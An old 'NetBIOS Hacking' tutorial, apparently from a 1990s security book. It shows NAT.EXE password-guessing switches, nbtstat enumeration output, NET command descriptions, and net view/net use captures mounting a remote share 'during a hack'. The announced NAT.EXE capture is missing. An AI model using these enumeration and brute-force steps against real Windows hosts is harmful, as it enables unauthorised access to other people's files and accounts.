NetBIOS Hacking



This is for an Educational purpose only

All viewers please keep in mind one thing that all this information her is given for informational purpose so please dnt misuse of your knowledge
NetBIOS Attack MethodsThis NetBIOS attack technique was verified on Windows 95, NT 4.0 Workstation, NT 4.0 Server, NT 5.0 beta 1 Workstation, NT 5.0 beta 1 Server, Windows 98 beta 2.1. One of the components being used is NAT.EXEA discussion of the tool, it switches, and common techniques follows:
NAT.EXE [-o filename] [-u userlist] [-p passlist]

Switches:

-o Specify the output file. All results from the scan
will be written to the specified file, in addition
to standard output.
-u Specify the file to read usernames from. Usernames
will be read from the specified file when attempt-
ing to guess the password on the remote server.
Usernames should appear one per line in the specified file.
-p Specify the file to read passwords from. Passwords
will be read from the specified file when attempting to guess the password on the remote server.
Passwords should appear one per line in the specified file.

Addresses should be specified in comma deliminated
format, with no spaces. Valid address specifications include:
hostname - "hostname" is added
127.0.0.1-127.0.0.3, adds addresses 127.0.0.1
through 127.0.0.3
127.0.0.1-3, adds addresses 127.0.0.1 through
127.0.0.3
127.0.0.1-3,7,10-20, adds addresses 127.0.0.1
through 127.0.0.3, 127.0.0.7, 127.0.0.10 through
127.0.0.20.
hostname,127.0.0.1-3, adds "hostname" and 127.0.0.1
through 127.0.0.1
All combinations of hostnames and address ranges as
specified above are valid.

[8.0.1] Comparing NAT.EXE to Microsoft's own executables
[8.0.2] First, a look at NBTSTAT

First we look at the NBTSTAT command. This command was discussed in earlier portions of the book ( [5.0.6] The Nbtstat Command ). In this section, you will see a demonstration of how this tool is used and how it compares to other Microsoft tools and non Microsoft tools.

What follows is pretty much a step by step guide to using NBTSTAT as well as extra information. Again, if youre interested in more NBSTAT switches and functions, view the [5.0.6] The Nbtstat Command portion of the book.

C:\nbtstat -A XXX.XX.XXX.XX
NetBIOS Remote Machine Name Table
Name Type Status
---------------------------------------------
STUDENT1 <20> UNIQUE Registered
STUDENT1 <00> UNIQUE Registered
DOMAIN1 <00> GROUP Registered
DOMAIN1 <1C> GROUP Registered
DOMAIN1 <1B> UNIQUE Registered
STUDENT1 <03> UNIQUE Registered
DOMAIN1 <1E> GROUP Registered
DOMAIN1 <1D> UNIQUE Registered
..__MSBROWSE__.<01> GROUP Registered

MAC Address = 00-C0-4F-C4-8C-9D

Here is a partial NetBIOS 16th bit listing:

Computername <00> UNIQUE workstation service name
<00> GROUP domain name
Server <20> UNIQUE Server Service name

Computername <03> UNIQUE Registered by the messenger service. This is the computername
to be added to the LMHOSTS file which is not necessary to use
NAT.EXE but is necessary if you would like to view the remote
computer in Network Neighborhood.
Username <03> Registered by the messenger service.
Domainname <1B> Registers the local computer as the master browser for the domain
Domainname <1C> Registers the computer as a domain controller for the domain
(PDC or BDC)
Domainname <1D> Registers the local client as the local segments master browser
for the domain
Domainname <1E> Registers as a Group NetBIOS Name
Network Monitor Name
Network Monitor Agent
<06> RAS Server
<1F> Net DDE
<21> RAS Client


[8.0.3] Intro to the NET commands
The NET command is a command that admins can execute through a dos window to show information about servers, networks, shares, and connections. It also has a number of command options that you can use to add user accounts and groups, change domain settings, and configure shares. In this section, you will learn about these NET commands, and you will also have the outline to a NET command Batch file that can be used as a primitive network security analysis tool. Before we continue on with the techniques, a discussion of the available options will come first:

[8.0.4] Net Accounts: This command shows current settings for password, logon limitations, and domain information. It also contains options for updating the User accounts database and modifying password and logon requirements.
[8.0.5] Net Computer: This adds or deletes computers from a domains database.
[8.0.6] Net Config Server or Net Config Workstation: Displays config info about the server service. When used without specifying Server or Workstation, the command displays a list of configurable services.
[8.0.7] Net Continue: Reactivates an NT service that was suspended by a NET PAUSE command.
[8.0.8] Net File: This command lists the open files on a server and has options for closing shared files and removing file locks.
[8.0.9] Net Group: This displays information about group names and has options you can use to add or modify global groups on servers.
[8.1.0] Net Help: Help with these commands
[8.1.1] Net Helpmsg message#: Get help with a particular net error or function message.
[8.1.2] Net Localgroup: Use this to list local groups on servers. You can also modify those groups.
[8.1.3] Net Name: This command shows the names of computers and users to which messages are sent on the computer.
[8.1.4] Net Pause: Use this command to suspend a certain NT service.
[8.1.5] Net Print: Displays print jobs and shared queues.
[8.1.6] Net Send: Use this command to send messages to other users, computers, or messaging names on the network.
[8.1.7] Net Session: Shows information about current sessions. Also has commands for disconnecting certain sessions.
[8.1.8] Net Share: Use this command to list information about all resources being shared on a computer. This command is also used to create network shares.
[8.1.9] Net Statistics Server or Workstation: Shows the statistics log.
[8.2.0] Net Stop: Stops NT services, cancelling any connections the service is using. Let it be known that stopping one service, may stop other services.
[8.2.1] Net Time: This command is used to display or set the time for a computer or domain.
[8.2.2] Net Use: This displays a list of connected computers and has options for connecting to and disconnecting from shared resources.
[8.2.3] Net User: This command will display a list of user accounts for the computer, and has options for creating a modifying those accounts.
[8.2.4] Net View: This command displays a list of resources being shared on a computer. Including netware servers.
[8.2.5] Special note on DOS and older Windows Machines: The commands listed above are available to Windows NT Servers and Workstation, DOS and older Windows clients have these NET commands available:

Net Config
Net Diag (runs the diagnostic program)
Net Help
Net Init (loads protocol and network adapter drivers.)
Net Logoff
Net Logon
Net Password (changes password)
Net Print
Net Start
Net Stop
Net Time
Net Use
Net Ver (displays the type and version of the network redirector)
Net View

For this section, the command being used is the NET VIEW and NET USE commands.

[8.2.6] Actual NET VIEW and NET USE Screen Captures during a hack.
C:\net view XXX.XX.XXX.XX
Shared resources at XXX.XX.XXX.XX
Share name Type Used as Comment
------------------------------------------------------------------------------
NETLOGON Disk Logon server share
Test Disk
The command completed successfully.

NOTE: The C$ ADMIN$ and IPC$ are hidden and are not shown.

C:\net use /?
The syntax of this command is:

NET USE [devicename | *] [\\computername\sharename[\volume] [password | *]]
[/USER:[domainname\]username]
[[/DELETE] | [/PERSISTENT:{YES | NO}]]

NET USE [devicename | *] [password | *]] [/HOME]

NET USE [/PERSISTENT:{YES | NO}]

C:\net use x: \\XXX.XX.XXX.XX\test

The command completed successfully.
C:\unzipped\nat10bin>net use
New connections will be remembered.
Status Local Remote Network
-------------------------------------------------------------------------------
OK X: \\XXX.XX.XXX.XX\test Microsoft Windows Network
OK \\XXX.XX.XXX.XX\test Microsoft Windows Network


The command completed successfully.
Here is an actual example of how the NAT.EXE program is used. The information listed here is an actual capture of the activity. The IP addresses have been changed to protect, well, us.

If the default share of Everyone/Full Control is active, then you are done, the server is hacked. If not, keep playing. You will be surprised what you find out.
